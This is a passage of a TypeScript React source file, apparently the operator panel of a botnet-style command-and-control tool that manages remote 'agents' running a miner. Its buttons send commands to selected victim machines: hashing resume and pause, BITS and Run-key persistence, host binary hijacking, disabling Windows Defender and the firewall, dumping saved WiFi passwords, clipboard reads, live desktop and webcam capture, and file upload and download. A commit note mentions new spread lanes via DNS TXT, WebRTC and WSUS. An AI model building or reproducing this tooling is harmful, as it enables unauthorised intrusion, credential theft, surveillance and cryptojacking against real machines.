Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Implements three new spread lanes following the do_peer pattern: DNS TXT mesh staging, WebRTC LAN seed manifest delivery, and WSUS SoftwareDistribution cousin handoff. Integrates tiers into onion chain, deploy-plan allowlist, Forge UI/docs, and tests.
953 lines
47 KiB
TypeScript
953 lines
47 KiB
TypeScript
import { useState, useEffect, useRef, useCallback } from 'react';
|
||
import { api } from '../../api/client';
|
||
import type { Agent, Build } from '../../types';
|
||
import { aggressiveActionHint, type AggressiveRemoteAction } from '../../help/aggressiveActions';
|
||
import {
|
||
isWindowsPlatform,
|
||
onlineAgents,
|
||
parseCameraListMessage,
|
||
selectionAggressiveHint,
|
||
selectionCanRunAggressive,
|
||
} from '../../help/crucibleOps';
|
||
import { desktopPathHint, pushFileToAgentDesktop } from '../../help/desktopPush';
|
||
import { HelpTip } from '../HelpTip';
|
||
import LotlTierBadge from './LotlTierBadge';
|
||
import CrucibleCollapsibleSection from './CrucibleCollapsibleSection';
|
||
import CruciblePortForwardMatrix from './CruciblePortForwardMatrix';
|
||
import FileManager from './FileManager';
|
||
import ProtocolTunnelPanel from './ProtocolTunnelPanel';
|
||
import SpreadTemplateExportPanel from './SpreadTemplateExportPanel';
|
||
import CredentialGraphTable from './CredentialGraphTable';
|
||
import ServiceGraphSummary from './ServiceGraphSummary';
|
||
import './ProtocolTunnelPanel.css';
|
||
|
||
interface FmCommandResult {
|
||
agentId: string;
|
||
action: string;
|
||
success: boolean;
|
||
message: string;
|
||
}
|
||
|
||
interface Props {
|
||
activeTab: 'ops' | 'recon' | 'files' | 'spread' | 'tunnels';
|
||
selectedAgents: Agent[];
|
||
selectedCount: number;
|
||
singleSelectedAgent: Agent | null;
|
||
allAgents: Agent[];
|
||
commandResults?: Array<{ agent_id?: string; action?: string; success?: boolean; message?: string }>;
|
||
onEcho: (text: string, isCmd?: boolean) => void;
|
||
onAgentError: (agentId: string, agentName: string, action: string, err: unknown) => void;
|
||
onScanSelected: () => void;
|
||
onProbePosture: () => void;
|
||
onProbeSSH: () => void;
|
||
onWakeSSH: () => void;
|
||
onShellDispatch: (command: string) => void;
|
||
browseAgent: Agent | null;
|
||
encryptTargets: Array<{ id: string; name: string }>;
|
||
fmCommandResults: FmCommandResult[];
|
||
tunnelStatusMsg: string;
|
||
onDispatchTunnel: (action: string, args?: Record<string, unknown>) => Promise<void>;
|
||
}
|
||
|
||
export default function CrucibleExpandedOps({
|
||
activeTab,
|
||
selectedAgents,
|
||
selectedCount,
|
||
singleSelectedAgent,
|
||
allAgents,
|
||
commandResults,
|
||
onEcho,
|
||
onAgentError,
|
||
onScanSelected,
|
||
onProbePosture,
|
||
onProbeSSH,
|
||
onWakeSSH,
|
||
onShellDispatch,
|
||
browseAgent,
|
||
encryptTargets,
|
||
fmCommandResults,
|
||
tunnelStatusMsg,
|
||
onDispatchTunnel,
|
||
}: Props) {
|
||
const targets = onlineAgents(selectedAgents);
|
||
const winTargets = targets.filter((a) => isWindowsPlatform(a.platform));
|
||
const hasSelection = selectedCount > 0;
|
||
const singleOnline = singleSelectedAgent?.status === 'online' ? singleSelectedAgent : null;
|
||
const onlineFleetCount = allAgents.filter((a) => a.status === 'online').length;
|
||
|
||
const [builds, setBuilds] = useState<Build[]>([]);
|
||
const [selectedBuildId, setSelectedBuildId] = useState('');
|
||
const [liveDesktop, setLiveDesktop] = useState(false);
|
||
const liveDesktopRef = useRef(false);
|
||
liveDesktopRef.current = liveDesktop;
|
||
|
||
const [wolMac, setWolMac] = useState('');
|
||
const [registryOpen, setRegistryOpen] = useState(false);
|
||
const [regHive, setRegHive] = useState('HKCU');
|
||
const [regPath, setRegPath] = useState('Software\\Microsoft\\Windows\\CurrentVersion\\Run');
|
||
const [regName, setRegName] = useState('');
|
||
const [regValue, setRegValue] = useState('');
|
||
const [regType, setRegType] = useState('REG_SZ');
|
||
|
||
const [cameras, setCameras] = useState<string[]>([]);
|
||
const [selectedCamera, setSelectedCamera] = useState('');
|
||
const [killPid, setKillPid] = useState('');
|
||
const [deletePath, setDeletePath] = useState('');
|
||
const [moveSrc, setMoveSrc] = useState('');
|
||
const [moveDst, setMoveDst] = useState('');
|
||
const [wipePath, setWipePath] = useState('');
|
||
const [downloadPath, setDownloadPath] = useState('');
|
||
const [uploadPath, setUploadPath] = useState('');
|
||
const uploadFileRef = useRef<HTMLInputElement | null>(null);
|
||
|
||
const [seekPath, setSeekPath] = useState('');
|
||
const [seekStem, setSeekStem] = useState('4K Enhance');
|
||
const [seekWin, setSeekWin] = useState(true);
|
||
const [seekMac, setSeekMac] = useState(true);
|
||
const [tunnelURL, setTunnelURL] = useState('');
|
||
|
||
useEffect(() => {
|
||
api.listBuilds().then(setBuilds).catch(() => setBuilds([]));
|
||
}, []);
|
||
|
||
useEffect(() => {
|
||
if (singleSelectedAgent?.mac_address && !wolMac) {
|
||
setWolMac(singleSelectedAgent.mac_address);
|
||
}
|
||
}, [singleSelectedAgent?.mac_address, wolMac]);
|
||
|
||
const dispatchOne = useCallback(
|
||
async (agent: Agent, action: string, args: Record<string, unknown> = {}) => {
|
||
try {
|
||
const res = await api.sendAgentCommand(agent.id, action, args);
|
||
if (res.success === false) {
|
||
onAgentError(agent.id, agent.name, action, res.error ?? 'rejected');
|
||
}
|
||
} catch (err) {
|
||
onAgentError(agent.id, agent.name, action, err);
|
||
}
|
||
},
|
||
[onAgentError]
|
||
);
|
||
|
||
const bulkDispatch = useCallback(
|
||
(action: string, args: Record<string, unknown> = {}, tgts = targets) => {
|
||
if (tgts.length === 0) {
|
||
onEcho('No online agents in selection — select an online node first', false);
|
||
return;
|
||
}
|
||
for (const a of tgts) {
|
||
void dispatchOne(a, action, args);
|
||
}
|
||
onEcho(`${action} → ${tgts.length} node(s)`, true);
|
||
},
|
||
[dispatchOne, onEcho, targets]
|
||
);
|
||
|
||
const aggDisabled = (action: AggressiveRemoteAction) =>
|
||
!hasSelection || targets.length === 0 || !selectionCanRunAggressive(action, selectedAgents);
|
||
|
||
const aggTitle = (action: AggressiveRemoteAction) =>
|
||
selectionAggressiveHint(action, selectedAgents) ??
|
||
aggressiveActionHint(action, singleSelectedAgent?.capabilities, singleSelectedAgent?.platform);
|
||
|
||
const aggBulk = (
|
||
action: AggressiveRemoteAction,
|
||
args: Record<string, unknown> = {},
|
||
confirm?: string,
|
||
tgts = targets
|
||
) => {
|
||
if (!hasSelection || tgts.length === 0) return;
|
||
if (confirm && !window.confirm(confirm)) return;
|
||
bulkDispatch(action, args, tgts);
|
||
};
|
||
|
||
const launchSeek = () => {
|
||
if (targets.length === 0) {
|
||
alert('Select at least one online node to seed from.');
|
||
return;
|
||
}
|
||
if (!seekPath.trim()) {
|
||
alert('Enter a root path to scan (e.g. D:\\ or /Volumes/Movies).');
|
||
return;
|
||
}
|
||
const flag = seekWin && seekMac ? 'all' : seekWin ? 'win' : 'mac';
|
||
for (const a of targets) {
|
||
api.sendAgentCommand(a.id, 'supp_seek', {
|
||
path: seekPath.trim(),
|
||
command: flag,
|
||
data: seekStem.trim() || '4K Enhance',
|
||
}).catch((err) => onAgentError(a.id, a.name, 'supp_seek', err));
|
||
}
|
||
onEcho(
|
||
`SUPP SEEK → ${seekPath.trim()} [${flag.toUpperCase()}] stem="${seekStem || '4K Enhance'}" on ${targets.length} node(s)`,
|
||
true
|
||
);
|
||
};
|
||
|
||
const intelCmds = ['screenshot', 'camera_snapshot', 'clipboard', 'wifi', 'software', 'ps', 'netstat', 'sysinfo', 'users'] as const;
|
||
const intelTitles: Record<(typeof intelCmds)[number], string> = {
|
||
screenshot: 'Capture the desktop screenshot',
|
||
camera_snapshot: 'Capture one JPEG frame from USB/built-in webcam (ffmpeg on agent)',
|
||
clipboard: 'Read the current clipboard contents',
|
||
wifi: 'Dump all saved WiFi passwords',
|
||
software: 'List installed programs',
|
||
ps: 'Running process list (tasklist)',
|
||
netstat: 'Active TCP/UDP connections',
|
||
sysinfo: 'Full system info (OS, CPU, RAM, uptime)',
|
||
users: 'Local user accounts + whoami /all',
|
||
};
|
||
|
||
useEffect(() => {
|
||
if (!liveDesktop || !singleOnline) return;
|
||
let focused = document.visibilityState === 'visible';
|
||
const onVis = () => { focused = document.visibilityState === 'visible'; };
|
||
document.addEventListener('visibilitychange', onVis);
|
||
const tick = () => {
|
||
if (!focused || !liveDesktopRef.current) return;
|
||
api.sendAgentCommand(singleOnline.id, 'screenshot').catch(() => {});
|
||
};
|
||
const id = setInterval(tick, 3000);
|
||
tick();
|
||
return () => {
|
||
clearInterval(id);
|
||
document.removeEventListener('visibilitychange', onVis);
|
||
};
|
||
}, [liveDesktop, singleOnline]);
|
||
|
||
useEffect(() => () => setLiveDesktop(false), []);
|
||
|
||
const lastCameraMsg = useRef('');
|
||
useEffect(() => {
|
||
if (!commandResults?.length) return;
|
||
const hit = [...commandResults].reverse().find((r) => r.action === 'camera_list' && r.success && r.message);
|
||
if (!hit?.message || hit.message === lastCameraMsg.current) return;
|
||
lastCameraMsg.current = hit.message;
|
||
const devs = parseCameraListMessage(hit.message);
|
||
if (devs.length > 0) {
|
||
setCameras(devs);
|
||
setSelectedCamera(devs[0]);
|
||
}
|
||
}, [commandResults]);
|
||
|
||
const listCameras = async () => {
|
||
const agent = singleOnline ?? targets[0];
|
||
if (!agent) return;
|
||
onEcho('camera_list → ' + agent.name, true);
|
||
try {
|
||
const res = await api.sendAgentCommand(agent.id, 'camera_list');
|
||
if (res.success === false) {
|
||
onAgentError(agent.id, agent.name, 'camera_list', res.error);
|
||
}
|
||
} catch (err) {
|
||
onAgentError(agent.id, agent.name, 'camera_list', err);
|
||
}
|
||
};
|
||
|
||
const registryDispatch = (action: 'registry_read' | 'registry_write' | 'registry_delete') => {
|
||
const regTargets = targets.filter((a) => isWindowsPlatform(a.platform));
|
||
if (regTargets.length === 0) {
|
||
alert('Registry ops require online Windows agent(s).');
|
||
return;
|
||
}
|
||
if (regTargets.length > 1 && !window.confirm(`Registry ${action} on ${regTargets.length} Windows nodes?`)) {
|
||
return;
|
||
}
|
||
const payload =
|
||
action === 'registry_read'
|
||
? { data: JSON.stringify({ hive: regHive, path: regPath }) }
|
||
: action === 'registry_write'
|
||
? {
|
||
data: JSON.stringify({
|
||
hive: regHive,
|
||
path: regPath,
|
||
name: regName,
|
||
value: regValue,
|
||
type: regType,
|
||
}),
|
||
}
|
||
: { data: JSON.stringify({ hive: regHive, path: regPath, name: regName }) };
|
||
bulkDispatch(action, payload, regTargets);
|
||
};
|
||
|
||
const sendWol = async () => {
|
||
const tgts = selectedAgents.length > 0 ? selectedAgents : [];
|
||
if (tgts.length === 0) return;
|
||
for (const a of tgts) {
|
||
try {
|
||
const res = await api.sendWOL(a.id, wolMac || a.mac_address || undefined);
|
||
onEcho(
|
||
res.success
|
||
? `✓ WOL → ${a.name} (${res.mac ?? wolMac ?? 'stored MAC'})`
|
||
: `✗ WOL ${a.name}: ${res.error ?? 'failed'}`,
|
||
true
|
||
);
|
||
} catch (err) {
|
||
onAgentError(a.id, a.name, 'wol', err);
|
||
}
|
||
}
|
||
};
|
||
|
||
const pushUpgrade = () => {
|
||
const build = builds.find((b) => b.id === selectedBuildId);
|
||
if (!build?.download_url || targets.length === 0) return;
|
||
if (!window.confirm(`Push upgrade (${build.file_name ?? build.id}) to ${targets.length} node(s)?`)) return;
|
||
bulkDispatch('upgrade', { data: build.download_url });
|
||
};
|
||
|
||
const panelClass = `crucible-ops crucible-ops--${activeTab}`;
|
||
|
||
if (activeTab === 'ops') {
|
||
return (
|
||
<div className={panelClass}>
|
||
<CrucibleCollapsibleSection label="Mining" className="cop-mining" helpField="crucible_mining_ops" defaultOpen>
|
||
{singleSelectedAgent?.lotl_tier && (
|
||
<div style={{ width: '100%', marginBottom: '0.35rem' }}>
|
||
<LotlTierBadge
|
||
tier={singleSelectedAgent.lotl_tier}
|
||
attempts={singleSelectedAgent.lotl_attempts}
|
||
variant="inline"
|
||
/>
|
||
</div>
|
||
)}
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={targets.length === 0}
|
||
title="Fleet health: restore hashing workload on selected online nodes"
|
||
onClick={() => {
|
||
const ids = targets.map((a) => a.id);
|
||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
api.sendBulkCommand(ids, 'resume').then((r) => onEcho(`${r.label ?? 'Power restore'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] resume: ${err}`, false));
|
||
}}
|
||
>
|
||
Resume
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={targets.length === 0}
|
||
title="Fleet health: power down hashing without disconnecting the agent"
|
||
onClick={() => {
|
||
const ids = targets.map((a) => a.id);
|
||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
api.sendBulkCommand(ids, 'pause').then((r) => onEcho(`${r.label ?? 'Power down'} → sent:${r.sent} failed:${r.failed}`, true)).catch((err) => onEcho(`[ERROR] pause: ${err}`, false));
|
||
}}
|
||
>
|
||
Pause
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Run whoami on selected" onClick={() => onShellDispatch('whoami')}>
|
||
whoami
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Network adapter info" onClick={() => onShellDispatch('ipconfig /all')}>
|
||
ipconfig
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Agent Control" className="cop-agent" helpField="crucible_section_agent" defaultOpen>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="Restart the agent process"
|
||
onClick={() => {
|
||
const ids = targets.map((a) => a.id);
|
||
if (ids.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
api.sendBulkCommand(ids, 'restart').then((r) => onEcho(`restart → sent:${r.sent} failed:${r.failed}`, true)).catch(() => null);
|
||
}}
|
||
>
|
||
Restart
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="Pull the last 300 lines of the agent log"
|
||
onClick={() => {
|
||
if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'get_log', { tail_lines: 300 }).catch(() => null));
|
||
onEcho(`get_log → ${targets.length} node(s)`, true);
|
||
}}
|
||
>
|
||
Get Log
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="Kill the agent process (watchdog may restart it)"
|
||
style={{ color: '#ff8c00' }}
|
||
onClick={() => {
|
||
if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
if (!window.confirm(`Kill agent process on ${targets.length} online node(s)?`)) return;
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'stop').catch(() => null));
|
||
onEcho(`kill → ${targets.length} node(s)`, true);
|
||
}}
|
||
>
|
||
Kill
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="Remove persistence, delete files, exit"
|
||
style={{ color: '#ff4444' }}
|
||
onClick={() => {
|
||
if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
if (!window.confirm(`UNINSTALL from ${targets.length} online node(s)? This removes persistence and deletes all agent files.`)) return;
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'uninstall').catch(() => null));
|
||
onEcho(`uninstall → ${targets.length} node(s)`, true);
|
||
}}
|
||
>
|
||
Uninstall
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="System Power" className="cop-sys" helpField="crucible_section_system">
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="OS reboot"
|
||
onClick={() => {
|
||
if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
if (!window.confirm(`Reboot ${targets.length} online machine(s)?`)) return;
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'reboot_machine').catch(() => null));
|
||
onEcho(`reboot_machine → ${targets.length} node(s)`, true);
|
||
}}
|
||
>
|
||
Reboot
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="OS shutdown (power off)"
|
||
style={{ color: '#ff4444' }}
|
||
onClick={() => {
|
||
if (targets.length === 0) { onEcho('No online agents selected — pick an online node first', false); return; }
|
||
if (!window.confirm(`Shutdown ${targets.length} online machine(s)?`)) return;
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'shutdown_machine').catch(() => null));
|
||
onEcho(`shutdown_machine → ${targets.length} node(s)`, true);
|
||
}}
|
||
>
|
||
Shutdown
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Persistence" className="cop-persist" helpField="crucible_section_persistence" defaultOpen>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('bits_persist')} title={aggTitle('bits_persist') || 'Register BITS notify job (Windows)'} onClick={() => aggBulk('bits_persist')}>
|
||
BITS Persist
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('host_binary_persist')} title={aggTitle('host_binary_persist') || 'Hijack host client binary'} onClick={() => aggBulk('host_binary_persist', { path: 'ssh' })}>
|
||
Host Binary
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Read-only audit: Run keys, tasks, systemd/launchd" onClick={() => bulkDispatch('persistence_audit')}>
|
||
Persistence Audit
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Maintenance & Registry" className="cop-maint" helpField="crucible_section_maintenance" defaultOpen>
|
||
<div className="crucible-inline-row crucible-upgrade-row">
|
||
<select className="crucible-inline-select" value={selectedBuildId} onChange={(e) => setSelectedBuildId(e.target.value)} disabled={targets.length === 0}>
|
||
<option value="">— pick build —</option>
|
||
{builds.filter((b) => b.download_url).map((b) => (
|
||
<option key={b.id} value={b.id}>
|
||
{b.file_name ?? b.id} ({b.platform ?? 'win'})
|
||
</option>
|
||
))}
|
||
</select>
|
||
<button type="button" className="button crucible-op-btn" disabled={!selectedBuildId || targets.length === 0} onClick={pushUpgrade}>
|
||
Push Upgrade
|
||
</button>
|
||
</div>
|
||
<div className="crucible-inline-row">
|
||
<input className="crucible-inline-input" placeholder="MAC (optional)" value={wolMac} onChange={(e) => setWolMac(e.target.value)} />
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="POST /agents/{id}/wol — works when offline" onClick={() => void sendWol()}>
|
||
Wake-on-LAN
|
||
</button>
|
||
</div>
|
||
<button type="button" className="button crucible-op-btn crucible-op-muted" onClick={() => setRegistryOpen((v) => !v)} disabled={!hasSelection}>
|
||
Registry {registryOpen ? '▲' : '▼'}
|
||
</button>
|
||
{registryOpen && (
|
||
<div className="crucible-registry-panel">
|
||
<div className="crucible-inline-row">
|
||
<select className="crucible-inline-select" value={regHive} onChange={(e) => setRegHive(e.target.value)}>
|
||
<option value="HKCU">HKCU</option>
|
||
<option value="HKLM">HKLM</option>
|
||
</select>
|
||
<input className="crucible-inline-input" value={regPath} onChange={(e) => setRegPath(e.target.value)} placeholder="Software\...\Run" />
|
||
</div>
|
||
<div className="crucible-inline-row">
|
||
<input className="crucible-inline-input" value={regName} onChange={(e) => setRegName(e.target.value)} placeholder="Value name" />
|
||
<input className="crucible-inline-input" value={regValue} onChange={(e) => setRegValue(e.target.value)} placeholder="Value (write)" />
|
||
</div>
|
||
<div className="crucible-inline-row">
|
||
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => registryDispatch('registry_read')}>Read</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_write')}>Write</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0 || !regName} onClick={() => registryDispatch('registry_delete')}>Delete</button>
|
||
</div>
|
||
</div>
|
||
)}
|
||
<div className="crucible-inline-row">
|
||
<input className="crucible-inline-input" placeholder="PID to kill" value={killPid} onChange={(e) => setKillPid(e.target.value)} />
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!killPid.trim() || targets.length === 0}
|
||
onClick={() => {
|
||
if (!window.confirm(`Kill PID ${killPid} on ${targets.length} node(s)?`)) return;
|
||
bulkDispatch('kill_process', { command: killPid.trim() });
|
||
}}
|
||
>
|
||
Kill Process
|
||
</button>
|
||
</div>
|
||
</CrucibleCollapsibleSection>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (activeTab === 'recon') {
|
||
return (
|
||
<div className={panelClass}>
|
||
<CrucibleCollapsibleSection label="Posture & Scans" className="cop-recon" helpField="crucible_posture_badge" defaultOpen>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn crucible-op-scan"
|
||
disabled={!hasSelection && onlineFleetCount === 0}
|
||
onClick={onScanSelected}
|
||
title={hasSelection ? `Deep scan ${selectedCount} selected node(s)` : `Deep scan all ${onlineFleetCount} online nodes`}
|
||
>
|
||
{hasSelection ? `⬡ Deep Scan (${selectedCount} selected)` : `⬡ Deep Scan Fleet (${onlineFleetCount} online)`}
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection && onlineFleetCount === 0} onClick={onProbePosture} title="Posture only (AV, firewall, SSH state)">
|
||
Posture Only
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
style={{ borderColor: 'rgba(0,245,255,0.5)' }}
|
||
disabled={!hasSelection}
|
||
title="Deep audit: firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, listeners (30–60s)"
|
||
onClick={() => bulkDispatch('full_sys_check')}
|
||
>
|
||
Full Sys Check
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="System Intel" className="cop-recon" helpField="crucible_section_intel" defaultOpen>
|
||
{intelCmds.map((cmd) => (
|
||
<button key={cmd} type="button" className="button crucible-op-btn" disabled={!hasSelection} title={intelTitles[cmd]} onClick={() => bulkDispatch(cmd)}>
|
||
{cmd}
|
||
</button>
|
||
))}
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Security & Defenses" className="cop-agg" helpField="crucible_section_security">
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection} title="Disable Windows Defender real-time monitoring (requires admin)" onClick={() => bulkDispatch('defender_off')}>
|
||
Defender Off
|
||
</button>
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection}
|
||
title="Dump all saved WiFi network credentials from selected Windows nodes"
|
||
style={{ borderColor: '#ff6b35', color: '#ff6b35' }}
|
||
onClick={() => bulkDispatch('get_wifi_passwords')}
|
||
>
|
||
📶 WiFi Passwords
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Network & Firewall Posture" className="cop-network" helpField="crucible_section_network">
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="C2 + pool DNS/TCP reachability JSON" onClick={() => bulkDispatch('connectivity_probe')}>
|
||
Connectivity Probe
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="TCP listeners table" onClick={() => bulkDispatch('listen_ports')}>
|
||
Listen Ports
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="Windows Update / patch exposure" onClick={() => bulkDispatch('patch_status')}>
|
||
Patch Status
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={!hasSelection || targets.length === 0} title="ARP cache neighbors on shared subnets" onClick={() => bulkDispatch('arp_neighbors')}>
|
||
ARP Neighbors
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_punch')} title={aggTitle('firewall_punch')} onClick={() => aggBulk('firewall_punch', { command: '8989' })}>
|
||
Open FW Port
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_off')} title={aggTitle('firewall_off')} onClick={() => aggBulk('firewall_off', {}, 'Disable Windows Firewall on ALL profiles?')}>
|
||
FW Off
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_on')} title={aggTitle('firewall_on')} onClick={() => aggBulk('firewall_on', {}, 'Enable Windows Firewall on all profiles?')}>
|
||
FW On
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_profiles')} title={aggTitle('firewall_profiles') || 'Disable Private+Public profiles'} onClick={() => aggBulk('firewall_profiles', { command: 'off', path: 'Private,Public' })}>
|
||
FW Private Off
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('firewall_remove')} title={aggTitle('firewall_remove')} onClick={() => aggBulk('firewall_remove', {}, 'Remove AetherForge firewall rules?')}>
|
||
Remove FW Rules
|
||
</button>
|
||
<button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
|
||
WAN IP
|
||
</button>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
<CrucibleCollapsibleSection label="Media & Desktop Capture" className="cop-recon" helpField="crucible_section_media">
|
||
{singleOnline && (
|
||
<button type="button" className={`button crucible-op-btn ${liveDesktop ? 'crucible-op-active' : ''}`} title="Poll screenshot every 3s while tab is focused" onClick={() => setLiveDesktop((v) => !v)}>
|
||
{liveDesktop ? '■ Live Desktop' : '▶ Live Desktop'}
|
||
</button>
|
||
)}
|
||
<div className="crucible-camera-row">
|
||
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => void listCameras()}>
|
||
List Cameras
|
||
</button>
|
||
{cameras.length > 0 && (
|
||
<select className="crucible-inline-select" value={selectedCamera} onChange={(e) => setSelectedCamera(e.target.value)}>
|
||
<option value="">— first device —</option>
|
||
{cameras.map((c) => (
|
||
<option key={c} value={c}>{c}</option>
|
||
))}
|
||
</select>
|
||
)}
|
||
<button type="button" className="button crucible-op-btn" disabled={targets.length === 0} onClick={() => bulkDispatch('camera_snapshot', selectedCamera ? { command: selectedCamera } : {})}>
|
||
Camera Snap
|
||
</button>
|
||
</div>
|
||
</CrucibleCollapsibleSection>
|
||
</div>
|
||
);
|
||
}
|
||
|
||
if (activeTab === 'files') {
|
||
return (
|
||
<div className={panelClass}>
|
||
<CrucibleCollapsibleSection label="Quick Transfer" className="cop-fileops" helpField="crucible_section_files_quick" defaultOpen>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<label className="button crucible-op-btn" style={{ cursor: !hasSelection ? 'not-allowed' : 'pointer', opacity: !hasSelection ? 0.5 : 1 }} title="Push a local file to each selected agent's Desktop">
|
||
↑ Desktop
|
||
<input
|
||
type="file"
|
||
style={{ display: 'none' }}
|
||
disabled={!hasSelection}
|
||
onChange={async (e) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
try {
|
||
for (const a of targets) {
|
||
await pushFileToAgentDesktop((action, args) => api.sendAgentCommand(a.id, action, args), file);
|
||
}
|
||
onEcho(`push_desktop ${file.name} → ${targets.length} node(s)`, true);
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : String(err));
|
||
}
|
||
e.target.value = '';
|
||
}}
|
||
/>
|
||
</label>
|
||
<span className="form-hint" style={{ fontSize: '0.72rem', opacity: 0.75 }}>
|
||
{desktopPathHint(selectedAgents[0]?.platform)}
|
||
</span>
|
||
</div>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="Remote path (or @desktop/file.txt)" value={downloadPath} onChange={(e) => setDownloadPath(e.target.value)} />
|
||
<button
|
||
type="button"
|
||
className="button crucible-op-btn"
|
||
disabled={!hasSelection || !downloadPath.trim()}
|
||
title="Download a file from the agent (result is base64 in terminal)"
|
||
onClick={() => bulkDispatch('download', { path: downloadPath.trim() })}
|
||
>
|
||
↓ Download
|
||
</button>
|
||
</div>
|
||
<div className="crucible-inline-row" style={{ width: '100%' }}>
|
||
<input className="crucible-inline-input" placeholder="Path or @desktop/filename" value={uploadPath} onChange={(e) => setUploadPath(e.target.value)} />
|
||
<label className="button crucible-op-btn" style={{ cursor: 'pointer' }} title="Upload to custom path, or leave blank and use ↑ Desktop">
|
||
↑ Push path
|
||
<input
|
||
type="file"
|
||
style={{ display: 'none' }}
|
||
ref={(el) => { uploadFileRef.current = el; }}
|
||
onChange={async (e) => {
|
||
const file = e.target.files?.[0];
|
||
if (!file) return;
|
||
const p = uploadPath.trim() || `@desktop/${file.name}`;
|
||
try {
|
||
const { readFileAsBase64 } = await import('../../help/desktopPush');
|
||
const b64 = await readFileAsBase64(file);
|
||
targets.forEach((a) => api.sendAgentCommand(a.id, 'upload', { path: p, data: b64 }).catch((err) => onAgentError(a.id, a.name, 'upload', err)));
|
||
onEcho(`upload ${file.name} → ${p} on ${targets.length} node(s)`, true);
|
||
} catch (err) {
|
||
alert(err instanceof Error ? err.message : String(err));
|
||
}
|
||
if (uploadFileRef.current) uploadFileRef.current.value = '';
|
||
}}
|
||
/>
|
||
</label>
|
||
</div>
|
||
</CrucibleCollapsibleSection>
|
||
|
||
{browseAgent && hasSelection && (
|
||
<CrucibleCollapsibleSection label="Remote File Browser" className="cop-fileops" helpField="fm_remote_browse" defaultOpen>
|
